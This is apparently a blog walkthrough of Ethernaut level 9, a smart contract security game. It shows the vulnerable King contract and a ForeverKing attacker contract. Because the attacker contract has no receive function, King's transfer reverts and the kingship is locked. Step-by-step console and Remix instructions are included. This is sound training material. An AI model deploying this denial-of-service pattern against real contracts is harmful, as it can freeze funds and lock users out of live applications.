This is the level 9 of Ethernaut game.
Pre-requisites
Hack
Given contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
player has to prevent the current level from reclaiming the kingship after instance is submitted.
Kingship is switched in receive function i.e. when a specific value is sent to King. So, we'll have to somehow prevent execution of receive.
The key thing to notice is that previous king is sent back msg.value using transfer. But what if this previous king was a contract and it didn't implement any receive or fallback? It won't be able to receive any value. And because of this transfer stops execution with an exception (unlike send). Gotcha!
Let's make a contract ForeverKing that has NO receive or fallback:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract ForeverKing {
function claimKingship(address payable _to) public payable {
(bool sent, ) = _to.call.value(msg.value)("");
require(sent, "Failed to send value!");
}
}
Query the current prize:
await contract.prize().then(v => v.toString())
// Output: '1000000000000000'
So at least 1000000000000000 wei is required to claim kingship.
Get your instance's address, so that ForeverKing can send value to it:
contract.address
// Output: <your-instance-address>
Call claimKingship of ForeverKing with param <your-instance-address> and set the amount 1000000000000000 wei as value in Remix. That will make ForeverKing contract as king.
Submit the instance. Upon submitting the level will try to reclaim kingship through receive fallback. However, it will fail.
This is because upon reaching line:
king.transfer(msg.value);
exception would occur because king (i.e. deployed ForeverKing contract) has no fallback functions.
Level cleared.
Bonus thing to note here is that in ForeverKing's claimKingship, call is used specifically. transfer or send will fail because of limited 2300 gas stipend. receive of King would require more than 2300 gas to execute successfully.
Of course, there are probably other ways too to prevent a successful receive execution.
Learned something awesome? Consider starring the github repo 😄
and following me on twitter here 🙏
Top comments (0)